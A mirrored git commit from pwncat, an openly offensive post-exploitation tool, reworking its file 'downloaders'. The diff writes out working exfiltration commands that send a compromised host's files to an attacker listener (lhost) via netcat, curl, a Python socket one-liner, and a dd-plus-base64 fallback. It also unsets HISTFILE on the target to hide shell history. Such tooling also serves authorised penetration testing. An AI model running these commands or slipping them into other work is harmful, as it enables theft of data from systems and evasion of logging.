mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 20:34:15 +01:00
Working downloaders for netcat and shell.
This commit is contained in:
parent
5801895cba
commit
dfb5b26157
@ -1,4 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
from typing import Type
|
||||||
|
|
||||||
from pwncat.downloader.base import Downloader, DownloadError
|
from pwncat.downloader.base import Downloader, DownloadError
|
||||||
from pwncat.downloader.nc import NetcatDownloader
|
from pwncat.downloader.nc import NetcatDownloader
|
||||||
@ -10,7 +11,7 @@ downloaders = [NetcatDownloader, CurlDownloader]
|
|||||||
fallback = ShellDownloader
|
fallback = ShellDownloader
|
||||||
|
|
||||||
|
|
||||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
|
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
|
||||||
""" Locate an applicable downloader """
|
""" Locate an applicable downloader """
|
||||||
|
|
||||||
if hint is not None:
|
if hint is not None:
|
||||||
@ -20,12 +21,18 @@ def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
|
|||||||
continue
|
continue
|
||||||
d.check(pty)
|
d.check(pty)
|
||||||
return d
|
return d
|
||||||
|
else:
|
||||||
|
raise DownloadError(f"{hint}: no such downloader")
|
||||||
|
|
||||||
for d in downloaders:
|
for d in downloaders:
|
||||||
try:
|
try:
|
||||||
d.check(pty)
|
d.check(pty)
|
||||||
return d
|
return d
|
||||||
except DownloadError:
|
except DownloadError as e:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
raise DownloadError("no acceptable downloaders found")
|
try:
|
||||||
|
fallback.check(pty)
|
||||||
|
return fallback
|
||||||
|
except:
|
||||||
|
raise DownloadError("no acceptable downloaders found")
|
||||||
|
@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
|||||||
from socketserver import TCPServer, BaseRequestHandler
|
from socketserver import TCPServer, BaseRequestHandler
|
||||||
from functools import partial
|
from functools import partial
|
||||||
import threading
|
import threading
|
||||||
|
import socket
|
||||||
|
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
|
|
||||||
@ -46,8 +47,11 @@ class Downloader:
|
|||||||
|
|
||||||
|
|
||||||
class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||||
def __init__(self, request, addr, server, downloader: "HTTPDownloader"):
|
def __init__(
|
||||||
|
self, request, addr, server, downloader: "HTTPDownloader", on_progress: Callable
|
||||||
|
):
|
||||||
self.downloader = downloader
|
self.downloader = downloader
|
||||||
|
self.on_progress = on_progress
|
||||||
super(HttpPostFileReceiver, self).__init__(request, addr, server)
|
super(HttpPostFileReceiver, self).__init__(request, addr, server)
|
||||||
|
|
||||||
def do_POST(self):
|
def do_POST(self):
|
||||||
@ -61,7 +65,7 @@ class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
|||||||
self.end_headers()
|
self.end_headers()
|
||||||
|
|
||||||
with open(self.downloader.local_path, "wb") as filp:
|
with open(self.downloader.local_path, "wb") as filp:
|
||||||
util.copyfileobj(self.rfile, filp, self.downloader.progress)
|
util.copyfileobj(self.rfile, filp, self.on_progress)
|
||||||
|
|
||||||
def log_message(self, *args, **kwargs):
|
def log_message(self, *args, **kwargs):
|
||||||
return
|
return
|
||||||
@ -79,19 +83,15 @@ class HTTPDownloader(Downloader):
|
|||||||
raise DownloadError("no lhost provided")
|
raise DownloadError("no lhost provided")
|
||||||
|
|
||||||
def __init__(
|
def __init__(
|
||||||
self,
|
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||||
pty: "pwncat.pty.PtyHandler",
|
|
||||||
remote_path: str,
|
|
||||||
local_path: str,
|
|
||||||
on_progress: Callable = None,
|
|
||||||
):
|
):
|
||||||
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
|
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
|
||||||
self.server = None
|
self.server = None
|
||||||
self.on_progress = on_progress
|
|
||||||
|
|
||||||
def serve(self, on_progress: Callable):
|
def serve(self, on_progress: Callable):
|
||||||
self.server = HTTPServer(
|
self.server = HTTPServer(
|
||||||
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self)
|
("0.0.0.0", 0),
|
||||||
|
partial(HttpPostFileReceiver, downloader=self, on_progress=on_progress),
|
||||||
)
|
)
|
||||||
|
|
||||||
thread = threading.Thread(
|
thread = threading.Thread(
|
||||||
@ -116,27 +116,33 @@ class RawDownloader(Downloader):
|
|||||||
raise DownloadError("no lhost provided")
|
raise DownloadError("no lhost provided")
|
||||||
|
|
||||||
def __init__(
|
def __init__(
|
||||||
self,
|
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||||
pty: "pwncat.pty.PtyHandler",
|
|
||||||
remote_path: str,
|
|
||||||
local_path: str,
|
|
||||||
on_progress: Callable = None,
|
|
||||||
):
|
):
|
||||||
super(RawDownloader, self).__init__(pty, remote_path, local_path)
|
super(RawDownloader, self).__init__(pty, remote_path, local_path)
|
||||||
self.server = None
|
self.server = None
|
||||||
self.on_progress = on_progress
|
|
||||||
|
|
||||||
def serve(self, on_progress: Callable):
|
def serve(self, on_progress: Callable):
|
||||||
|
|
||||||
# Make sure it is accessible to the subclass
|
# Make sure it is accessible to the subclass
|
||||||
local_path = self.local_path
|
local_path = self.local_path
|
||||||
|
|
||||||
|
class SocketWrapper:
|
||||||
|
def __init__(self, sock):
|
||||||
|
self.s = sock
|
||||||
|
|
||||||
|
def read(self, n: int):
|
||||||
|
try:
|
||||||
|
return self.s.recv(n)
|
||||||
|
except socket.timeout:
|
||||||
|
return b""
|
||||||
|
|
||||||
# Class to handle incoming connections
|
# Class to handle incoming connections
|
||||||
class ReceiveFile(BaseRequestHandler):
|
class ReceiveFile(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
self.request.settimeout(1)
|
self.request.settimeout(1)
|
||||||
with open(local_path, "wb") as fp:
|
with open(local_path, "wb") as fp:
|
||||||
util.copyfileobj(self.request.makefile("rb"), fp, on_progress)
|
util.copyfileobj(SocketWrapper(self.request), fp, on_progress)
|
||||||
|
self.request.close()
|
||||||
|
|
||||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||||
|
|
||||||
|
@ -7,14 +7,15 @@ from pwncat.downloader.base import HTTPDownloader, DownloadError
|
|||||||
|
|
||||||
class CurlDownloader(HTTPDownloader):
|
class CurlDownloader(HTTPDownloader):
|
||||||
|
|
||||||
|
NAME = "curl"
|
||||||
BINARIES = ["curl"]
|
BINARIES = ["curl"]
|
||||||
|
|
||||||
def command(self) -> Generator[str, None, None]:
|
def command(self) -> Generator[str, None, None]:
|
||||||
""" Generate the curl command to post the file """
|
""" Generate the curl command to post the file """
|
||||||
|
|
||||||
lhost = self.pty.vars["lhost"]
|
lhost = self.pty.vars["lhost"]
|
||||||
lport = self.server.server_address[2]
|
lport = self.server.server_address[1]
|
||||||
curl = self.pty.which("curl")
|
curl = self.pty.which("curl")
|
||||||
remote_path = shlex.quote(self.remote_path)
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
yield f"{curl} --output {remote_path} http://{lhost}:{lport}"
|
self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")
|
||||||
|
@ -7,14 +7,15 @@ from pwncat.downloader.base import RawDownloader, DownloadError
|
|||||||
|
|
||||||
class NetcatDownloader(RawDownloader):
|
class NetcatDownloader(RawDownloader):
|
||||||
|
|
||||||
|
NAME = "nc"
|
||||||
BINARIES = ["nc"]
|
BINARIES = ["nc"]
|
||||||
|
|
||||||
def command(self) -> Generator[str, None, None]:
|
def command(self) -> Generator[str, None, None]:
|
||||||
""" Return the commands needed to trigger this download """
|
""" Return the commands needed to trigger this download """
|
||||||
|
|
||||||
lhost = self.pty.vars["lhost"]
|
lhost = self.pty.vars["lhost"]
|
||||||
lport = self.server.server_address[2]
|
lport = self.server.server_address[1]
|
||||||
nc = self.pty.which("nc")
|
nc = self.pty.which("nc")
|
||||||
remote_file = shlex.quote(self.remote_path)
|
remote_file = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
yield f"{nc} {lhost} {lport} < {remote_file}"
|
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")
|
||||||
|
@ -23,8 +23,10 @@ class ShellDownloader(Downloader):
|
|||||||
while True:
|
while True:
|
||||||
|
|
||||||
# Read the data
|
# Read the data
|
||||||
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
x = self.pty.run(
|
||||||
remote_path, self.BLOCKSZ, blocknr
|
"dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
||||||
|
remote_path, self.BLOCKSZ, blocknr
|
||||||
|
)
|
||||||
)
|
)
|
||||||
if x == b"" or x == b"\r\n":
|
if x == b"" or x == b"\r\n":
|
||||||
break
|
break
|
||||||
@ -34,7 +36,7 @@ class ShellDownloader(Downloader):
|
|||||||
|
|
||||||
# Send the data and call the progress function
|
# Send the data and call the progress function
|
||||||
filp.write(data)
|
filp.write(data)
|
||||||
copied += data
|
copied += len(data)
|
||||||
self.on_progress(copied, len(data))
|
self.on_progress(copied, len(data))
|
||||||
|
|
||||||
# Increment block number
|
# Increment block number
|
||||||
|
175
pwncat/pty.py
175
pwncat/pty.py
@ -13,6 +13,7 @@ import sys
|
|||||||
import os
|
import os
|
||||||
|
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
|
from pwncat import downloader
|
||||||
|
|
||||||
|
|
||||||
class State(enum.Enum):
|
class State(enum.Enum):
|
||||||
@ -33,20 +34,20 @@ class PtyHandler:
|
|||||||
}
|
}
|
||||||
|
|
||||||
INTERESTING_BINARIES = [
|
INTERESTING_BINARIES = [
|
||||||
("python", "python", 9999),
|
"python",
|
||||||
("python2", "python", 9998),
|
"python2",
|
||||||
("python3", "python", 10000),
|
"python3",
|
||||||
("perl", "perl", 0),
|
"perl",
|
||||||
("bash", "sh", 10000),
|
"bash",
|
||||||
("dash", "sh", 9999),
|
"dash",
|
||||||
("zsh", "sh", 9999),
|
"zsh",
|
||||||
("sh", "sh", 0),
|
"sh",
|
||||||
("curl", "curl", 0),
|
"curl",
|
||||||
("wget", "wget", 0),
|
"wget",
|
||||||
("nc", "nc", 0),
|
"nc",
|
||||||
("netcat", "nc", 0),
|
"netcat",
|
||||||
("ncat", "nc", 0),
|
"ncat",
|
||||||
("script", "script", 0),
|
"script",
|
||||||
]
|
]
|
||||||
|
|
||||||
def __init__(self, client: socket.SocketType):
|
def __init__(self, client: socket.SocketType):
|
||||||
@ -62,6 +63,18 @@ class PtyHandler:
|
|||||||
self.known_binaries = {}
|
self.known_binaries = {}
|
||||||
self.vars = {"lhost": None}
|
self.vars = {"lhost": None}
|
||||||
self.prompt = PromptSession("localhost$ ")
|
self.prompt = PromptSession("localhost$ ")
|
||||||
|
self.binary_aliases = {
|
||||||
|
"python": [
|
||||||
|
"python2",
|
||||||
|
"python3",
|
||||||
|
"python2.7",
|
||||||
|
"python3.6",
|
||||||
|
"python3.8",
|
||||||
|
"python3.9",
|
||||||
|
],
|
||||||
|
"sh": ["bash", "zsh", "dash"],
|
||||||
|
"nc": ["netcat", "ncat"],
|
||||||
|
}
|
||||||
|
|
||||||
# We should always get a response within 3 seconds...
|
# We should always get a response within 3 seconds...
|
||||||
self.client.settimeout(3)
|
self.client.settimeout(3)
|
||||||
@ -77,26 +90,24 @@ class PtyHandler:
|
|||||||
self.recvuntil(b"\n")
|
self.recvuntil(b"\n")
|
||||||
|
|
||||||
# Locate interesting binaries
|
# Locate interesting binaries
|
||||||
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
|
# The auto-resolving doesn't work correctly until we have a pty
|
||||||
|
# so, we manually resolve a list of useful binaries prior to spawning
|
||||||
|
# a pty
|
||||||
|
for name in PtyHandler.INTERESTING_BINARIES:
|
||||||
util.info(f"resolving remote binary: {name}", overlay=True)
|
util.info(f"resolving remote binary: {name}", overlay=True)
|
||||||
|
|
||||||
# We already found a preferred option
|
|
||||||
if (
|
|
||||||
friendly in self.known_binaries
|
|
||||||
and self.known_binaries[friendly][1] > priority
|
|
||||||
):
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Look for the given binary
|
# Look for the given binary
|
||||||
response = self.run(f"which {shlex.quote(name)}", has_pty=False)
|
response = self.run(f"which {shlex.quote(name)}", has_pty=False)
|
||||||
if response == b"":
|
if response == b"":
|
||||||
continue
|
continue
|
||||||
|
|
||||||
self.known_binaries[friendly] = (response.decode("utf-8"), priority)
|
self.known_binaries[name] = response.decode("utf-8")
|
||||||
|
|
||||||
|
# Now, we can resolve using `which` w/ request=False for the different
|
||||||
|
# methods
|
||||||
for m, cmd in PtyHandler.OPEN_METHODS.items():
|
for m, cmd in PtyHandler.OPEN_METHODS.items():
|
||||||
if m in self.known_binaries:
|
if self.which(m, request=False) is not None:
|
||||||
method_cmd = cmd.format(self.known_binaries[m][0])
|
method_cmd = cmd.format(self.which(m, request=False))
|
||||||
method = m
|
method = m
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
@ -107,7 +118,8 @@ class PtyHandler:
|
|||||||
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
||||||
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
||||||
|
|
||||||
# Make sure HISTFILE is unset in this PTY
|
# Make sure HISTFILE is unset in this PTY (it resets when a pty is
|
||||||
|
# opened)
|
||||||
self.run("unset HISTFILE")
|
self.run("unset HISTFILE")
|
||||||
|
|
||||||
# Synchronize the terminals
|
# Synchronize the terminals
|
||||||
@ -117,6 +129,32 @@ class PtyHandler:
|
|||||||
# Force the local TTY to enter raw mode
|
# Force the local TTY to enter raw mode
|
||||||
self.enter_raw()
|
self.enter_raw()
|
||||||
|
|
||||||
|
def which(self, name: str, request=True) -> str:
|
||||||
|
""" Call which on the remote host and return the path. The results are
|
||||||
|
cached to decrease the number of remote calls. """
|
||||||
|
path = None
|
||||||
|
|
||||||
|
if name in self.known_binaries and self.known_binaries[name] is not None:
|
||||||
|
# Cached value available
|
||||||
|
path = self.known_binaries[name]
|
||||||
|
elif name not in self.known_binaries and request:
|
||||||
|
# It hasn't been looked up before, request it.
|
||||||
|
path = self.run(f"which {shlex.quote(name)}").decode("utf-8")
|
||||||
|
if path == "":
|
||||||
|
path = None
|
||||||
|
|
||||||
|
if name in self.binary_aliases and path is None:
|
||||||
|
# Look for aliases of this command as a last resort
|
||||||
|
for alias in self.binary_aliases[name]:
|
||||||
|
path = self.which(alias)
|
||||||
|
if path is not None:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Cache the value
|
||||||
|
self.known_binaries[name] = path
|
||||||
|
|
||||||
|
return path
|
||||||
|
|
||||||
def process_input(self, data: bytes):
|
def process_input(self, data: bytes):
|
||||||
r""" Process a new byte of input from stdin. This is to catch "\r~C" and open
|
r""" Process a new byte of input from stdin. This is to catch "\r~C" and open
|
||||||
a local prompt """
|
a local prompt """
|
||||||
@ -205,28 +243,10 @@ class PtyHandler:
|
|||||||
|
|
||||||
def do_download(self, argv):
|
def do_download(self, argv):
|
||||||
|
|
||||||
uploaders = {
|
|
||||||
"curl": (
|
|
||||||
"http",
|
|
||||||
"{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
|
||||||
),
|
|
||||||
"XXXX": (
|
|
||||||
"http",
|
|
||||||
"{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
|
||||||
),
|
|
||||||
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
|
|
||||||
"python": (
|
|
||||||
"raw",
|
|
||||||
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
|
|
||||||
),
|
|
||||||
}
|
|
||||||
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(prog="download")
|
parser = argparse.ArgumentParser(prog="download")
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--method",
|
"--method",
|
||||||
"-m",
|
"-m",
|
||||||
choices=uploaders.keys(),
|
|
||||||
default=None,
|
default=None,
|
||||||
help="set the download method (default: auto)",
|
help="set the download method (default: auto)",
|
||||||
)
|
)
|
||||||
@ -244,32 +264,20 @@ class PtyHandler:
|
|||||||
# The arguments were parsed incorrectly, return.
|
# The arguments were parsed incorrectly, return.
|
||||||
return
|
return
|
||||||
|
|
||||||
if self.vars.get("lhost", None) is None:
|
try:
|
||||||
util.error("[!] you must provide an lhost address for reverse connections!")
|
# Locate an appropriate downloader class
|
||||||
|
DownloaderClass = downloader.find(self, args.method)
|
||||||
|
except downloader.DownloadError as exc:
|
||||||
|
util.error(f"{exc}")
|
||||||
return
|
return
|
||||||
|
|
||||||
if args.method is not None and args.method not in self.known_binaries:
|
# Grab the arguments
|
||||||
util.error(f"{args.method}: method unavailable")
|
|
||||||
elif args.method is not None:
|
|
||||||
method = uploaders[args.method]
|
|
||||||
else:
|
|
||||||
method = None
|
|
||||||
for m, info in uploaders.items():
|
|
||||||
if m in self.known_binaries:
|
|
||||||
util.info(f"downloading via {m}")
|
|
||||||
method = info
|
|
||||||
args.method = m
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
util.warn(
|
|
||||||
"no available download methods. falling back to dd/base64 method"
|
|
||||||
)
|
|
||||||
|
|
||||||
path = args.path
|
path = args.path
|
||||||
basename = os.path.basename(args.path)
|
basename = os.path.basename(args.path)
|
||||||
name = basename
|
|
||||||
outfile = args.output.format(basename=basename)
|
outfile = args.output.format(basename=basename)
|
||||||
|
|
||||||
|
download = DownloaderClass(self, remote_path=path, local_path=outfile)
|
||||||
|
|
||||||
# Get the remote file size
|
# Get the remote file size
|
||||||
size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
|
size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
|
||||||
if b"none" in size:
|
if b"none" in size:
|
||||||
@ -277,7 +285,7 @@ class PtyHandler:
|
|||||||
return
|
return
|
||||||
size = int(size)
|
size = int(size)
|
||||||
|
|
||||||
with ProgressBar("downloading") as pb:
|
with ProgressBar(f"downloading with {download.NAME}") as pb:
|
||||||
|
|
||||||
counter = pb(range(os.path.getsize(path)))
|
counter = pb(range(os.path.getsize(path)))
|
||||||
last_update = time.time()
|
last_update = time.time()
|
||||||
@ -291,32 +299,9 @@ class PtyHandler:
|
|||||||
if (time.time() - last_update) > 0.1:
|
if (time.time() - last_update) > 0.1:
|
||||||
pb.invalidate()
|
pb.invalidate()
|
||||||
|
|
||||||
if method is not None:
|
download.serve(on_progress)
|
||||||
server = servers[method[0]](outfile, name, progress=on_progress)
|
|
||||||
|
|
||||||
command = method[1].format(
|
download.command()
|
||||||
cmd=self.known_binaries[args.method][0],
|
|
||||||
remote_file=shlex.quote(path),
|
|
||||||
lhost=self.vars["lhost"],
|
|
||||||
lfile=name,
|
|
||||||
lport=server.server_address[1],
|
|
||||||
)
|
|
||||||
result = self.run(command, wait=False)
|
|
||||||
else:
|
|
||||||
server = None
|
|
||||||
path = shlex.quote(path)
|
|
||||||
with open(outfile, "wb") as fp:
|
|
||||||
copied = 0
|
|
||||||
blocksz = 1024 * 10
|
|
||||||
for chunk_nr in range(0, size // blocksz):
|
|
||||||
# Send the command
|
|
||||||
encoded = self.run(
|
|
||||||
f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
|
|
||||||
)
|
|
||||||
chunk = base64.b64decode(encoded)
|
|
||||||
fp.write(chunk)
|
|
||||||
copied += len(chunk)
|
|
||||||
on_progress(copied, len(chunk))
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while not counter.done:
|
while not counter.done:
|
||||||
@ -324,8 +309,7 @@ class PtyHandler:
|
|||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
pass
|
pass
|
||||||
finally:
|
finally:
|
||||||
if server is not None:
|
download.shutdown()
|
||||||
server.shutdown()
|
|
||||||
|
|
||||||
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
|
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
@ -460,7 +444,12 @@ class PtyHandler:
|
|||||||
parser = argparse.ArgumentParser(prog="set")
|
parser = argparse.ArgumentParser(prog="set")
|
||||||
parser.add_argument("variable", help="the variable name")
|
parser.add_argument("variable", help="the variable name")
|
||||||
parser.add_argument("value", help="the new variable type")
|
parser.add_argument("value", help="the new variable type")
|
||||||
args = parser.parse_args(argv)
|
|
||||||
|
try:
|
||||||
|
args = parser.parse_args(argv)
|
||||||
|
except SystemExit:
|
||||||
|
# The arguments were parsed incorrectly, return.
|
||||||
|
return
|
||||||
|
|
||||||
self.vars[args.variable] = args.value
|
self.vars[args.variable] = args.value
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user